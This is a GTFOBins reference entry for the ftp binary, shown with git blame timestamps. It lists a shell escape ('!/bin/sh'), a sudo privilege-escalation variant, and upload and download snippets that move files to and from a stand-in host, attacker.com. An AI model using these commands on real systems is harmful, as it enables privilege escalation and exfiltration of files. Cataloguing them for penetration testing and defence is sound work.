GTFOBins.github.io/_gtfobins/ftp.md

24 lines
450 B
Markdown
Raw Normal View History

2018-05-21 21:14:41 +02:00
---
functions:
2018-05-25 15:30:02 +02:00
execute-interactive:
2018-05-21 21:14:41 +02:00
- code: |
ftp
!/bin/sh
sudo-enabled:
- code: |
sudo ftp
!/bin/sh
upload:
- description: Send local file to a FTP server.
code: |
2018-05-24 21:59:21 +02:00
RHOST=attacker.com
2018-05-21 21:14:41 +02:00
ftp $RHOST
put file_to_send
download:
- description: Fetch a remote file from a FTP server.
code: |
2018-05-24 21:59:21 +02:00
RHOST=attacker.com
2018-05-21 21:14:41 +02:00
ftp $RHOST
get file_to_get
2018-05-25 01:10:39 +02:00
---